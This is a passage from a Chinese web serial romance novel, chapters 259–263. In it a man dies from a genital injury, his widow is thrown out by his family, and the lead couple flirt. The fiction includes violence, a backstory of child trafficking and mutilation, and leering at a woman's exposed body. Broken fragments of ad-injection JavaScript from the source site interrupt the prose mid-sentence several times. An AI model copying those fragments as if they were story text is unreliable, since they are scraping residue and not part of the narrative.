而他们要找的小少爷(爷),已经妇唱夫随,跟着白小姐一起去隔壁家了。 两人:“……” 他们面色古怪的回屋去。 只是没多久,张良在楼上发现他家爷和白小姐站在家门口,似乎是在……吵架? 张良的眼力很好,嗯,反正看错的几率一半一半。 他忙跑下来,拉上林伯边往外走边说。 小少爷和白小姐在家门口吵架?! 林伯一听,这还了得。 他的老胳膊老腿当即利索起来,扯回自己的手,开始小跑起来。 果然远远地就听到白小姐在说他家小少爷让她很失望,林伯心里那个忧心着急哟。 可是小两口吵架,他还不知道缘由,也不好贸然上前去劝说。 相较于林伯的担忧着急,张良则是震惊居多。 按照白小姐话中的意思,他家爷这对象真不是花钱租的呀! 只能说不是一家人不进一家门,白幺幺和月钧枫都演得太投入了,所以这会儿才注意到林伯与张良。 然后,两人很有默契的收拾好脸上表情。 手牵手的,路过林伯和张良时,两人同时点了下头算是打招呼。 进到屋里,两人直接去了书房……继续刚刚在门口的话题。 林伯和张良:“……” 互相对视一眼。 林伯:怎么办,也不知道会不会再吵起来? 张良:要不,咱们跟上去偷听下? 林伯:这怎么能行……可好像也只有这个办法了! 张良:……那咱们快点上去吧! …… 医院里。 急救室门被打开,医生走了出来,虽还未开口说什么,可脸上的表情说明了一切。 “韩三少夫人,我们已经尽力了,您请节哀。” 医生的话仿若一记重锤砸在秦雪头上,令她头晕目眩,身体发软。 身体摇摇晃晃,在倒地的前一刻,她伸手抓住医生的胳膊,力气大到医生吃疼差点就将人甩开了。 “医生,你在说什么? 是……是那个地方再也不能用,所以你让我节哀的,是因为这个,是不是,是不是啊!” 医生沉默,不知道要说什么,能说什么? 这种情况,他从业开始已经遇到很多很多次了。 家属一时没办法接受,他能理解的。 医生的沉默让秦雪全身发寒,如坠冰窖。 她想过当活寡妇,却没想过当真寡妇。 孤儿寡母的,又不得韩家人喜欢,未来的日子该怎么过? 秦雪不信,觉得医生一定是在和她开玩笑。 “医生,你说,你快说啊!” 她拽着医生的手死命摇晃,表情疯狂。 “古代宫里的那些太监,他们被阉了后,不也一样活得好好的。 是不是,是不是你们医术不精,才把人给医死了?” “对,一定是你们把我老公医死的,你们这群庸医,你们赔我老公命来。” 秦雪说着,伸手就要去抓那医生的脸。 被扣上医死人的锅的医生:“……” 遇到这种情况,他可以理解家属的悲痛。 可无论何种时候,饭可以乱吃,话都不能乱说。 医生毕竟是见过大场面的,他动作敏捷的躲开秦雪的手。 “韩三少夫人,我能理解您现在的心情。 可韩三少爷送过来时就已经失血过多昏迷,情况很不好。 我们已经尽力抢救了,很抱歉,最后还是没能将人抢救回来。” 对于医生的解释,秦雪不听,也根本听不进去。 想到她现在成了寡妇,还是拜她女儿所赐,秦雪怎么可能冷静下来。 她继 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 续抓着医生不放,神情有些疯狂。 “就是,就是你们医术不精,才害死我老公的。 我要,我要打死你们给我老公偿命,呜呜,打死你们……” 碍于秦雪的身份,医生只敢闪躲,不敢反抗。 有几名护士想将秦雪拉开,反应不够快,被抓伤了手,最后却还是没能将人拉开。 医生顾忌着秦雪的身份,护士们同样也是,生怕等下不小心伤到人,到时给自己惹来麻烦。 急救室的大门外,一下子乱成一锅粥。 如此大的动静引来了不少人。 有些不知道秦雪身份的,好心上去拉架。 还有些见已经有人去拉架,便好奇的开始打听发生啥事了。 原本应该保持安静的医院, 此时嘈杂的像是菜市场。 秦雪已经杀疯了,开始无差别攻击。 场面那叫一个混乱。 就在医生觉得这样下去不行,想着要不要先把人弄晕时,一道小男孩的哭声响起了。 “哇呜呜!奶奶,老鼠真的会咬尿尿的地方! 叔叔尿尿的地方已经被老鼠咬坏了,呜呜,我怕……” 小男孩的哭声不大,但也足以让急救室外的人都听到。 随着小男孩的哭声,以及他的话落。 急救室外的众人如同被按下了暂停键,有了短暂的安静。 小男孩的奶奶是个热心肠的,听到动静,就带着小男孩过来看看,然后也加入了拉架大军。 没了奶奶拉着,小男孩见到大人们乱作一团,他根本没兴趣看。 无聊的小男孩想把奶奶喊回来,可是喊了好几声,奶奶只回应了一声,让他乖乖站在原地等着。 小男孩毕竟才五岁,又是活泼好动的性子,哪里肯乖乖站原地。 他发现急救室门开着,出于好奇,便走了进去。 小男孩在里面东瞅瞅西瞧瞧,看啥都觉得新奇。 不过他没有乱碰里面的东西就是了。 这个年纪的孩子已经知道在外面碰坏东西,不仅他家大人要赔钱,回去还会挨揍的。 最后他来到病床前,发现有个人被盖在一块白布下。 第259章 年代文里的童养媳(42) 明明急救室里弥漫着浓重血腥味,里面整体氛围阴冷陌生,小男孩却没半点害怕的。 不然,咋说初生牛犊不怕虎了。 也不知道白布下的是叔叔还是婶子,小男孩便没用上称呼。 “奶奶说了,睡觉时不能把被子盖到脸上,会不能呼吸的。” 小男孩说着,很是乐于助人的伸手想帮忙拉开那白布。 只是他动作有点大,白布一下子被掀开一大半,之后更是直接全部滑落到地上去。 小男孩:“……” 好心办坏事了。 他赶忙蹲下身去捡掉到地上的白布,然后踮起脚尖,动作笨拙的想帮人重新盖上。 只是,他才踮起脚尖,就看到男人两腿间尿尿的地方血肉模糊一片。 小男孩脑中一下子想起了,他每回尿床时,奶奶就会吓唬他说要是下回再尿床,老鼠就会来咬他尿尿的地方。 小男孩子听了,直接被吓得哇哇大哭。 只是后面他又尿床了几次,老鼠也没来咬他尿尿的地方。 小男孩想,一定是奶奶在骗他,老鼠才不会咬他尿尿的地方了。 可是现在,他看到床上躺着的叔叔那尿尿的地方…… 小男孩哇的一声哭了,也不知道是被床上人的情况吓哭的,还是被奶奶没骗人,老鼠真的会咬人尿尿的地方吓哭的。 外面人暂停键取消后,一个个先是你看看我,再是我看看你。 直到小男孩哭得眼泪一把鼻涕一把的从急救室里跑出来,人群哗的一下又嘈杂起来了。 只不过这回不需要拉架,因为秦雪已经被气晕过去了。 她可以守活寡,但这必须是秘密,不能让圈子里的人知道。 不然,还不知道那些人要怎么看轻嘲笑她了。 可是现在,现在先不说圈子里的人,这秘密竟然被不知哪里跑来的野小孩大声嚷嚷出来了。 就算是韩东已经死了,那也不能让这底层人看她笑话。 在医生急着对晕倒的秦雪进行抢救时,有几个好事的,实在按耐不住好奇心,偷偷溜进了急救室。 大人毕竟是大人,一进去就知道里面的人死了,顿时觉得毛骨悚然。 只是那眼睛还是控制不住往床上躺着的人下身看去,当看清楚后,几个男人条件反射的夹紧双腿,倒抽了口凉气。 几个已婚妇女虽说内心蠢蠢欲动,但也不敢真跟着进去看个究竟。 韩家人收到消息赶来医院时,各种版本的谣言已经在医院里传开了。 而韩家人一开始以为人只是伤到了下面,也已经做好最坏的打算。 因着人是伤到那地方的,韩东的两个嫂子明说了不来医院丢这个脸,等人出院了她们再去家里看望这个小叔子。 至于韩老夫人,因着和秦雪完全不对付,又听说儿子是被那野丫头伤到的,气得老毛病犯了。 此刻正躺床上休养,她是想去看儿子。 可是怕去了看到秦雪,再被刺激下,直接也在医院住下了。 没办法,最后就是安排韩东的两个哥哥过来医院看下。 说真的,韩东的两个哥哥也不太想来。 主要是这段时间老三家闹出来事,让他们在外面经常收到一些人调侃和异样的眼光。 韩东的两个哥哥是沉着张脸进入医院的,他们想过了,这回无论如何都要训下这个弟弟。 可是,他们怎么也没想到会收到那样的噩耗。 他们家老三没了?! 韩老夫人最疼爱的就是韩东这个儿子,也是因为最疼爱韩东,所以韩东瞒着她,先斩后奏娶了秦雪这个乡下女人。 这件事对韩老太太来说简直是诛心啊,最疼的儿子随随便便就被一个女人勾走了。 才认识多长的时间,这女人就比她这个当妈的在儿子心中还重要,韩老夫人能喜欢这女人才奇怪。 韩东的两个哥哥悲伤的同时,真不知道要怎么把这个噩耗告诉家里两老。 韩家这段时间注定不平静。 …… 傍晚,红霞满天。 在书房里,某人觉醒霸总之魂,两人好一番腻腻歪歪后,感情迅速升温。 这不,余温未散,此时正在家里的花房约会赏夕阳了。 林伯和张良是很渴望被喂狗粮的,只是两人除了手牵手不避着他们,做 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 其他亲密举动时都避着他们。 哪怕是说情话,也是两人相互咬耳朵,明显就是怕被他们听到。 张婉茹找过来时,林伯第一次很想失礼待客。 小少爷和白小姐正在花房甜甜蜜蜜了,他真的很不想上去打扰。 只是瞧着张婉茹神色有那么点奇怪,有点兴奋,有点着急,还有点…… 林伯将人请进来,让人先坐着,他才上楼去花房找人。 林伯离开后。 张婉茹才轻皱了下眉,心中疑惑,她刚刚的言行举止有哪里不妥的地方吗? 怎么感觉月家的这个老管家,见到她后,神色有那么一点点的不好看。 林伯来到花房门口,踌躇犹豫了好一会儿,才轻敲了下门。 “白小姐,隔壁张家的张婉 茹小姐过来找你,此时正在楼下客厅。” 而此时花房里,两人依偎坐在窗前。 身旁身后全是开得娇艳欲滴的各色鲜花,而窗外是美轮美奂的夕阳美景。 这样一幅美好的画卷,被突然的敲门声给打破了。 听到张婉茹过来找她,白幺幺想也不想回道:“林伯,知道了,我马上下去。” 林伯:“……” 小少爷呀,林伯也想帮你。 可是打铁还需自身硬啊! 月钧枫第一时间收紧了些手上力道,皱着眉,微微有些不悦。 “她来干嘛?想来应该也没啥重要的事 。 幺幺,今儿夕阳真的很美,要不我们多看会儿再下去。” 月钧枫很想让林伯先把人打发走,可也仅仅是很想。 他起了另外一个小心思,就是将人晾在下面,说不定没一会儿就自己离开了。 真是的,他就是和幺幺在家里约个会,都有人跑上门来打扰。 白幺幺:“……” 她哪里猜不出这男人心中的那点小九九,幼稚。 不过她也没拆穿,更没配合。 “不行,婉茹会上门来找我肯定有急事,我先下去见见她。 你要是觉得夕阳很美,不多看会儿很惋惜,那你可以继续留在看。” 第260章 年代文里的童养媳(43) 月钧枫:“……” 他会觉得夕阳美,那还不是因为与他一起赏夕阳的人是她。 月钧枫其实也发现了,自从确认关系后,他总是控制不住的想要时时刻刻粘着人。 这样的行为对不对,别的男女刚处对象时是不是也这样,他都不关心。 他唯一知道就是,他一点也不想克制自己的行为。 最后,当然是两人一起离开花房,下楼去见张婉茹。 张婉茹在客厅端着茶喝了两口,才放下杯子,就见到还在下楼梯的人影。 她激动的喊人,“幺幺,你快过来,有个惊天大消息,你肯定还不知道。” 为什么猜测白幺幺肯定还不知道,张婉茹就是莫名的笃定,白幺幺若是知道了,肯定会第一时间跑去隔壁找她的。 她才说完,看到了和白幺幺一起下来的月钧枫,那股激动劲稍稍收敛了下。 白幺幺走过去猜测道:“韩东胯下那三两肉真的不能用了?” 话音刚落,她就感觉有道温热的气息打在她耳朵上。 原来是某人将唇贴近她耳朵,准备和她说啥悄悄话。 “幺幺,别的男人的那……那……很脏的,光听了都污耳朵。 你下回不要说,更不要去想,真的很脏的。” 白幺幺:“……” 某人这小心机啊! 她是不是该表扬,说的时候不忘加上别的两个字,没有误伤了自己。 张婉茹也不管月钧枫在和白幺幺说什么悄悄话,她激动的站起来。 “幺幺,是,也不是,是韩东死了!” 白幺幺震惊脸,“怎么死的?不会是送医途中出车祸了? 还是秦雪不想守活寡,干脆一不做二不休,在送医途中把人捂死,直接守寡得了?” 张婉茹摇头,“幺幺,都不是,听说是送医不及时,失血过多没抢救回来。” 她说着说着,激动的情绪仍在,可眼眶不自觉的红了。 反正张婉茹自始至终都坚定相信她的爱人,她爱人一定是被韩东夫妇害死的。 再说了,都是一个圈子的人,谁还不知道谁。 韩东本身就不是什么好人,韩家早年做的生意也不是啥正经生意。 里子都黑透了,哪怕近几年再怎么洗白也洗不干净的。 白幺幺心中感概了一番,想到什么,关心的问,“那你这边会不会有什么麻烦?” 韩东死了,也不知道韩家那边是个什么态度,会不会开始发疯乱咬人。 女主可是当着那么多人的面,说是张婉茹教唆她去砸韩东胯下那玩意的。 张婉茹虽当场否认了,但就怕韩家人因为韩东的死,悲伤欲绝,直接采取宁杀错勿放过。 白幺幺当时给出这个建议,并不是脑子一热,冲动而为。 当然,更不是利用张婉茹,把她当枪使。 她都想好了,先给这些人精神和肉体上的折磨,如果他们还继续蹦跶,那就全部灭了。 反正吧,全是神经病,还没一个好人。 张婉茹听出她的话外之意,摇头道:“不会的。” 她又简单解释了下。 “首先我家和韩家情况不相上下,韩家不敢轻易动我。 其次,我虽平时表现出和秦雪不对付,但圈子里和秦雪不对付的多了去,理由,无非就那几点。 而我的那段感情经历,除了我妈,再无人知道了。 反正在韩家以及外面的人看来,平时小打小闹可能,可如此报复,我完全没这个动机。 最后,韩家人要是不信,不是有幺幺和你对象可以给我作证,我当时就是在关心那孩子,可没教那孩子什么。” 张婉茹脸上神色轻松,还有一点她没说。 她家这几年已经将产业慢慢转移到港城去了,计划未来要在港城定居。 总而言之,她家,以及她才不怕韩家了。 再说了她又不是那种没脑子易冲动,容易让人煽动利用的人。 幺幺提出玩大点,并给出方案,她是成年人,采取与否全凭她自己决定。 她既然采取了,就已经考虑过后续会引发的一系列情况。 白幺幺听了张婉茹的话,再看她的神色,心中的担忧才淡去。 间接把人整废了和间接把人整死了是两个概念,白幺幺可不想因为自己的原因给张家带去麻烦。 …… 叶枫将白慕雪带回家后,事事都亲自去安排,将人照顾得无微不至 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 叶轩回家后知道他把白慕雪带回家来,准备自己养着。 他只是皱了皱眉,并没打算管。 当然,这时他还不知道白慕雪将韩东命根子给砸烂了。 等他收到韩东死讯,才同时也知道了这事。 叶轩的脸色顿时跟打翻了调色盘似的,很精彩。 先是离家出走好一番折腾,现在又给他带这么个大麻烦回来,叶轩对这个儿子真的很失望。 主要还是,他不喜欢女人,对这个儿子感情淡淡。 可却改变不了,他打下的江山未来将由这个儿子继承。 男人嘛,没有野心算什么男人。 未来,叶轩可没打算给这个儿子婚姻自主的权利。 叶轩让人将叶枫喊来书房。 来时,叶枫想过他那好父亲找他应该和雪儿有关。 在做出将人带回家的决定时,他就想好了如何说服他的好父亲答应将人留下来。 只是,来到书房,他那好父亲开口的第一句话就让他震惊失态。 “韩东死了!” 韩东死了? 叶枫稳了稳心神,“父亲,你是在……” 叶轩猜出他要说什么,冷冷道:“我不是在开玩笑。” 这下叶枫不得不面对这一突发情况。 他把雪儿带回来,肯定有考虑过韩东下面治不好,真废了的情况。 作为重生者,他有把握护住雪儿,让韩东不追究。 可是,现在人死了,这就完全是另外一种情况。 根本没给叶枫过多的反应时间,叶轩又开口了,语气不容商量。 “等下就把那小姑娘送回韩家。” 叶枫神色一慌,急声道:“不行,不能把雪儿送回去。” 韩东死了,雪儿不就成了导致韩东死亡的凶手。 韩家人早十几二十年前干的可是拐卖妇女儿童的买卖, 拐卖过程中直接死在韩家人手上的妇女儿童数以百计。 就韩家老夫人,别看她现在吃斋念佛,瞧着一脸慈态。 当年干这营生时,就因拐来的一个两岁小孩吵得她头痛,小手还不小心在她脸上刮了道印子,她二话不说拿起剪刀就把那孩子的舌头给剪了。 第261章 年代文里的童养媳(44) 他能知道这事,以及关于韩家早年详细的发家史。 还是前世,雪儿和她妈相认后,雪儿的那个同母异父弟弟韩辰宇十分喜欢雪儿这个温柔善良的姐姐。 两人经常来往,一来二去的,关系就亲厚得跟亲姐弟似的。 韩家虽洗白不干那营生了,但却不以这段发家史为耻,反以其为荣。 韩家手上还完整保留了一本名册录,将所有被他们拐卖的妇女儿童全部记录在册。 里面简单记录了他们是在哪里被拐的,又是如何被拐,最后是怎么被处置的,字里行间用上了很多行业黑话。 而这本名册录就被放在韩家祠堂的暗格中,前世雪儿跟着韩辰宇去韩家祠堂参观,机缘巧合下发现了这东西。 会被藏在暗格中,不用想也知道是很重要的东西。 出于好奇,雪儿趁着韩辰宇不查,偷偷将东西带出来了。 当晚他和雪儿一起看完了名册录里的内容,心境久久不能平复。 雪儿看到最后,那眼睛都哭的又红又肿了。 总而言之,韩家人可不是什么好东西。 如果雪儿落到韩家人手中,可想而知下场不可能好到哪里去,甚至可能丢掉性命。 无论如何,他是不是能把雪儿交出去的。 这辈子,若是没有雪儿,他重生还有什么意义。 对于儿子会忤逆他的意思,叶轩心中出生了浓浓的不满。 他和韩东交情不深,却也有耳闻韩东是个痴情种。 他觉得韩东就是个有病的,对怀着别人孩子的孕妇都能情根深种。 韩东会落到现在这样,成了短命鬼,还以那样一种方式死去,简直丢人现眼。 不然怎么说娶妻娶贤,韩东就是娶错老婆了。 而这种女人生的女儿,果然也不是个好的。 “叶枫!” 叶轩眸色沉了几分,冷声道:“我是在通知你,而不是在征求你的意见。” 叶枫极力克制着自己的脾气,脑中飞快的想着策略,反正他是不可能将雪儿送回去的。 叶枫只是迟疑了下,说:“爸,我知道你喜欢月叔叔,我有办法帮你得到他。” 叶枫才说完,叶轩猛地从椅子上站起来。 动作太快太猛,哐当一声,椅子倒地。 叶轩眸光冷寒,声音不带半丝情感,“你是怎么知道的?” 如今的世道,在人们看来同性恋是不正常的,是恶心的,是病,得治。 同性恋不仅不被社会接受,还被归入了流氓罪里。 叶轩自认为已经将这份感情隐藏得很深了,他这个儿子是怎么发现的。 是有谁和他说的吗? 谈判就要有谈判的气势,叶枫继续维持着淡定,自信,从容的表情。 “爸,当局者迷旁观者清,你肯定以为自己将这份情感隐藏很深。” 叶轩没说话,只是给了叶枫一个“难道不是嘛”的表情。 叶枫:“……” 虽然他前世到死才知道,但真不是因为他这个好父亲隐藏的有多深。 而是灯下黑,谁会想到他连月钧枫那样的人都敢肖想。 “爸,我是自己看出来的,不过——” 叶枫停顿了下,“现在最关键的不是这个,而是月叔叔好像谈对象了哦!” “什么?你再说一遍!” 叶轩不知什么时候来到叶枫跟前,两只大掌激动的钳住他那瘦弱的肩膀。 叶枫吃痛的皱眉,“爸,稳住,你还想不想得到月叔叔了。 同性恋毕竟是违背了伦理纲常,你和月叔叔想要在一起本就有点难度,更遑论你现在还要和女人一起竞争。” 叶轩眯了眯眸子,语气森冷。 “你说阿枫谈对象了?是不是那天在阿枫家见到的那个乡下女人?” 叶枫点了点头。 “我看到了,他们在大庭广众下手牵手,不是在谈对象,哪对男女敢这般。 当然,就是谈对象了,正经人家的姑娘都比较矜持,也不会这般在大庭广众下就牵手。” 后面的话,叶枫是挑着他那好父亲爱听的说。 确认了阿枫谈的对象是白幺幺这个乡下女人,叶轩高悬的心落下。 不是他自大,轻视了敌人。 而是,即使到现在他仍觉得那样的乡下女人不配当他对手。 只是,手牵手! 他眼神阴鸷,果然是不要脸的乡下女人。 叶轩审视的看着儿子,“说说看,你有什么办法能让我得到阿枫?” 病急乱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 投医? 就算是,叶轩也想听听看,说不准他这个儿子还真能给他个惊喜。 叶枫没有急着说出他的办法,而是将他的条件先说出来。 “爸,我帮你得到月叔叔,作为交换,你让雪儿留在咱家,不要把她送回韩家。” 叶轩只是沉默了一瞬,就点头。 “好,现在可以说了吧!” 目的达成,叶枫知道他必须拿出点东西来了。 “爸,秦叔叔喜欢你,这事你知道吗?” 叶轩:“……” 叶枫见他这副表情 ,就知道他这个时候还不知道了。 叶轩只是愣神了下,“现在知道了,这和得到阿枫有什么关联吗?” 叶枫勾唇笑着点了点头,“有关系,关系还大着呢。” “既然秦叔叔喜欢你,他应该很希望看到你幸福吧! 为了你的幸福,让他付出点什么,他应该也很乐意的吧!” 叶轩疑惑,却没打断,让他继续说下去。 “其实,想得到一人很简单的……” …… “阿嚏……” 月钧枫忍了几次,还是没能将喷嚏压下去。 白幺幺关心的问,“怎么突然打喷嚏,是不是感冒了?” 月钧枫:“……” 他又连续打了三个喷嚏,揉了揉鼻子。 “我也不知道……阿……阿嚏!” 白幺幺伸手在人额头上摸了摸,“没发烧,可能是有点感冒的迹象。” 贴在额头上的柔软离开,月钧枫差点想伸手将其按回去。 “阿嚏!” 他又打了个喷嚏,瓮声瓮气道:“好像的确开始感觉有点不舒服了。” 白幺幺想了下,说:“手伸出,我给你把下脉。” 月钧枫:“……” 他心虚的轻颤了下睫羽。 “咳咳!” 也不打喷嚏了,改轻咳两声。 “幺幺,你还会把脉?” 白幺幺很是随意的点头,“是啊,我略微精通点医术,没办法,谁让我家后山住着的那个老爷爷会的本事太多了。 而他说我是百年难得一遇的天纵奇才,恨不得将一身的本事全都传授给我。” 第262章 年代文里的童养媳(45) “幺幺,你真厉害。” 月钧枫伸出手的同时,不忘夸下人。 没一会儿后,白幺幺挑了下眉,摇头。 “你的身体很好,没有什么问题。” 月钧枫心里咯噔一下,以为他打假喷嚏的事被发现了。 就在他正想坦白从宽时,就听幺幺又说话了。 “可能是有人在想你或者念叨你,当然也可能是在骂你,你才会连续打那么多个喷嚏的。” 月钧枫:“……” 是这样吗? 想到什么,他目光灼热的看向白幺幺。 白幺幺:“……” “看我做啥?” 她没好气朝人翻了个白眼,“你人就在我旁边,我想你作甚。 还有我就是要骂你,肯定不会憋在心里骂。 哼,怎么着也要当着你的面,让你听到,不然不就白骂了呀!” 眸子里的光暗了暗,月钧枫表情委委屈屈的。 “可是,就算你现在就在我身边,我心中,脑中还是在想你。” 说情话是男人本能就会的,根本不用教,不用学。 看,这不就随口就来了。 感动是不可能感动的,白幺幺伸手在人腰侧轻拧了下。 “你给我正常点,还有,还要不要赏星赏月了?” 白幺幺打了个哈欠,“不然我要下去洗洗睡了。” “要。” 月钧枫忙执起人的手,掌心相贴,五指紧扣。 “幺幺,我们什么时候办婚礼? 要不明天就让林伯开始准备,先在沪市办一场,等回到港城后再办一场。 办两场,好事成双,寓意好。” 想到时间一分一秒的过着,他们最后总归要分开,各回各房睡觉,他就舍不得极了。 要想连睡觉都分不开他们,那只有结婚了。 结了婚,他们就可以一个房睡觉,还可以…… 想到这,月钧枫的脸一下子泛起红晕,也幸好此时四周不是很明亮。 白幺幺打断某人的思绪,皮笑肉不笑道:“做啥美梦了,你是不是忘了自己还在在试用期,能不能转正都是个未知数。” 月钧枫自信笃定道:“幺幺,我一定能转正的,等我转正后,我们就办婚礼好不好?” 白幺幺:“不好!” 月钧枫:“为什么?你是不是,是不是嫌我年纪大,还想着找年纪小的来当童养夫这茬?” 白幺幺:“???” 两者有什么关联吗?还有话题怎么就突然歪到这里来了?? 恋爱中的男女,不管再优秀都容易不自信,她懂,可是嫌弃年龄大是啥鬼。 白幺幺摇头,“没有,还有你年纪不大!真的!” 都比她还小两岁了,大啥大。 月钧枫移开视线,小声嘟囔。 “可是已经过了当童养夫的年纪,当不了童养夫啊!” 白幺幺:……她悟了。 关键不是年纪大不大的问题,关键是童养夫。 小心眼了,还对童养夫这茬耿耿于怀。 白幺幺伸手在人脸上捏了捏,“月钧枫,月同志,你可以了哦!” 男人的脸上皮肤嫩得跟豆腐似的,白幺幺蹂躏上瘾了。 然后,蹂躏着蹂躏着,就变了味。 两唇什么时候贴在一起的,没人知道。 就在他们彼此不满足,准备更深入点时。 一道凄惨的哭声打断了他们的动作,也打破了月下这旖旎的画面。 毋庸置疑,又是隔壁传来的。 月钧枫蹙了蹙眉心,眸中寒光乍现。 他紧紧揽着怀中人的后腰,声线沙哑道:“幺幺,我们继续好不好。” 白幺幺推了推人,“不要了,隔壁有热闹看,走,我们下去看看。” 接吻哪里有看热闹重要! 他们此时在顶楼赏星赏月,从他们的位置刚好能看到隔壁屋外的情况。 一个头发凌乱的女人被人架着往外面拖,女人不断的挣扎,同时发出凄惨的哭声。 而这女人不是秦雪,还能是谁。 韩东的两个哥哥在医院坐了许久,才从韩东的死讯中缓过来。 韩家老大留下医院了解情况顺便陪着弟弟,韩家老二赶紧出去通知家里人。 这种时候,根本没人顾得上已经从昏迷中醒来的秦雪。 老两口原本还在家里气不顺了,同时心底止不住的担忧。 面上装的云淡风轻,其实心里着急着想要知道小儿子那边的情况。 收到小儿子没了的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 噩耗,两人皆是一阵天旋地转。 韩老爷子身体硬朗些,堪堪稳住,没倒下。 韩老夫人就不行了,在旁边人没反应过来时,摔倒在地上。 韩家老宅这边一下子乱成了一锅粥。 等韩老夫人醒来后,震天的哭嚎声也随之响起。 怕家里两老承受不住,韩家大哥本想他直接将弟弟接回去的,两老就不必折腾一趟亲自过来。 只不过韩老夫人哪里肯,她的儿,她的儿啊! 她十月怀胎辛苦生出来的,现在正躺在冰冷的医院里,她 当然要亲自去把人接回来。 韩家一大家子出动,去医院将韩东接回了老宅。 到了医院,韩老夫人见到秦雪,第一时间就上去抽了人一大耳刮子。 她还要再打第二下时,韩老爷子拦住她了。 劝她说先把儿子接回家比较重要,其他的等后面在处理。 秦雪被打了,捂着脸哭得惨兮兮的,心中怨恨,却不敢表现出来。 韩家人要把韩东接回老宅,秦雪哪里敢有意见。 就是韩老夫人阴冷仇恨的看着她,不让她跟着回老宅。 由于心虚,她也不敢闹。 这种时候,她除了夹起尾巴做人,还能干嘛。 宠她护她的男人不在了,她现在就是谁都能踩一脚的小可怜。 韩家人离开后,顶着周围人异样的目光,听着他们的窃窃私语。 秦雪很想崩溃的大哭,可是她知道她不可以。 她要赶紧回家,儿子,她还有儿子。 此时的她就像是溺水的人,儿子是她最后的那根救命稻草。 秦雪疯狂朝医院外跑去,以最短的时间往家里赶。 不管是嫁给韩东前,还是嫁给韩东后,她都十分注重自己的形象。 只是这会儿,她脸上被韩老夫人抽那巴掌高高肿起,唇角还沾染着未干的血迹。 整个人已经不能用狼狈来形容了,可是她哪里还顾得了。 到家后,她第一时间找到儿子,将人紧紧抱在怀里。 哪里管儿子会不会被她吓到,她现在就只有这儿子了。 怕什么来什么。 韩老夫人那边缓过劲来后,连夜安排人过来要把孩子带走,顺便把她给赶出去。 第263章 年代文里的童养媳(46) 韩老夫人从未接受过秦雪这个儿媳妇,甚至可以说是厌恶。 她最疼爱的儿子没了,还是被白慕雪害死的。 她现在对秦雪可不仅仅是厌恶那么简单,想活剐了人的心都有了。 要不是她儿子在世上的唯一独苗苗是秦雪所生,韩老夫人考虑到孙子,才忍着不对人动手。 不过,她也不可能让秦雪好过。 孙子肯定是不可能继续留在秦雪身边,她要接回来亲自养。 至于秦雪,她儿子都没了。 这女人当然是哪里来的,滚回哪里去。 还有那个害死她儿子的贱种,她同时也安排人去带回来了。 她的儿,她的儿啊,就这么没了。 作为母亲,她若是不给他讨回公道,将来百年后,如何有脸面下去见他。 白幺幺拉着月钧枫下来时,毫不意外的又在门口遇见了张婉茹。 她第一时间就要丢下某人,找小姐妹一起手挽手看热闹去。 察觉到她的意图, 某人不仅不放手,等白幺幺回头看去时,还委屈上了。 对象一出门,就被外面的野花勾走,就要丢下他,跟人跑,就问你委不委屈。 外面的野花张婉茹:“……” 不是,认真的吗? 白幺幺:“……” 她做了什么? 还是张婉茹识趣,催促道:“幺幺,快点,不然等下来看热闹的人多了,我们找不到好位置。” 所谓的好位置,就是那扇镂空的雕花大铁门前。 秦雪此时喉咙已经喊破了,声音粗粝低哑。 她知道今晚如果让死老太婆的人将儿子抢走,那么她好日子就到头了。 她不明白,怎么会这样? 她的日子怎么就过成这样了! 韩老夫人是个厉害的,早就考虑到秦雪会激烈反抗。 担心孙子见到这一幕,会与她这个奶奶产生嫌隙。 所以在过来时,她就让人到时先把孙子迷晕了。 只是睡一下,不会伤到身体。 反而若是让孩子看到这一幕,孩子再被影响得大哭大闹,这样反而伤身了。 秦雪哪里敌得过两个干粗活的妇人,很快就被连拖带拽扔出来。 铁门外看热闹的,早在门开时,他们就很自觉的退开些。 “求求你们,把儿子还给我,还有,这是我家,你们凭什么把我赶出来!” 秦雪从地上爬起来,哪里还顾得上什么形象,对着把她拖拉出来的妇人苦苦哀求。 而此时她的头发凌乱,衣衫不整,领口更是被扯坏了,大半个酥胸呼之欲出。 围观的女人注意到了,纷纷皱眉,好些个都庆幸自家男人没跟出来。 而自家男人跟出来了的,一个个赶紧转头去看看,对方那双眼睛有没有不老实。 至于那些还是孤家寡人或者是老婆没跟出来的男人,当然是不能错过这种机会,不看白不看。 没办法,秦雪长相不属于极品美人,却也清秀可人。 而她的身材是那种丰胸翘臀小蛮腰,打小皮肤底子就不错。 嫁给韩东当了几年富太太,那一身皮更是被养的娇嫩白皙。 特别是胸前的皮肤,在灯光和月光的映衬下,真的很吸引男同志的眼球。 好看的东西,大家都喜欢看,白幺幺也一样。 要不是这个时代比较特殊,白幺幺准拉着旁边的张婉茹讨论讨论。 多大?有d吗?好白呀!羡慕啊!还有他老公肯定很幸福! 只是察觉到有些女人的动作,白幺幺很快反应过来。 白幺幺:“……” 她是不是也要合群下,紧跟大部队。 这种情况,只许州官放火不许百姓点灯,再怎么双标都没毛病。 白幺幺收回看胸的视线,她决定来个突击行动。 哼,如果某人敢给她看直了眼睛,三个月的试用期就到此结束。 白幺幺在心里数着数,快速转头准备抓个现行。 四目相对,白幺幺先眨了眨眼睛。 月钧枫见人看过来,不解的问,“要回去了吗?” 白幺幺:“……” 热闹都还没看完,回啥去。 说不定等下,拉扯间,还能露出更多来了。 男人喜欢看身材火辣的美女,女人同样也喜欢身材火辣的美女。 她凑近些,低声审问起来。 “老实交代,你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚有看到什么吗?” 白幺幺的问题一出,月钧枫先是一愣,之后神色有些不自然起来,眼神还有些闪躲。 白幺幺:“……” 呵,男人! 她咬着牙道:“是不是又大又白,你很喜欢呀!” 月钧枫:“???” 他视线重新落在白幺幺脸上,准确的说是她的嘴唇上。 